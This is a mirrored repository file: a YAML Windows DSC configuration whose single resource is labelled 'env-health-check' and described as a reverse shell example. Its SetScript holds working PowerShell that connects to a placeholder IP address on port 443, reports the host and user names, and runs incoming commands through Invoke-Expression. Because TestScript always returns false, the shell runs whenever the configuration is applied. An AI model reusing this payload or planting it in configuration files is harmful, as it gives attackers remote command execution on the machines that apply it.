mirror of
https://github.com/DylanDavis1/DSCourier
synced 2026-06-06 15:34:32 +00:00
33 lines
1.2 KiB
YAML
33 lines
1.2 KiB
YAML
properties:
|
|
configurationVersion: 0.2.0
|
|
resources:
|
|
- resource: PSDscResources/Script
|
|
id: env-health-check
|
|
directives:
|
|
description: Simple Reverse Shell Example
|
|
allowPrerelease: true
|
|
settings:
|
|
GetScript: |
|
|
@{ Result = "OK" }
|
|
SetScript: |
|
|
$client = [System.Net.Sockets.TcpClient]::new()
|
|
$client.Connect('IP_ADDRESS', 443)
|
|
$stream = $client.GetStream()
|
|
$writer = [System.IO.StreamWriter]::new($stream)
|
|
$reader = [System.IO.StreamReader]::new($stream)
|
|
$writer.AutoFlush = $true
|
|
$writer.WriteLine("[+] Shell from $env:COMPUTERNAME as $env:USERNAME via ConfigurationRemotingServer")
|
|
while ($true) {
|
|
$writer.Write('DSC> ')
|
|
$cmd = $reader.ReadLine()
|
|
if ($cmd -eq 'exit') { break }
|
|
try {
|
|
$output = Invoke-Expression $cmd 2>&1 | Out-String
|
|
$writer.WriteLine($output)
|
|
} catch {
|
|
$writer.WriteLine($_.Exception.Message)
|
|
}
|
|
}
|
|
$client.Close()
|
|
TestScript: |
|
|
$false |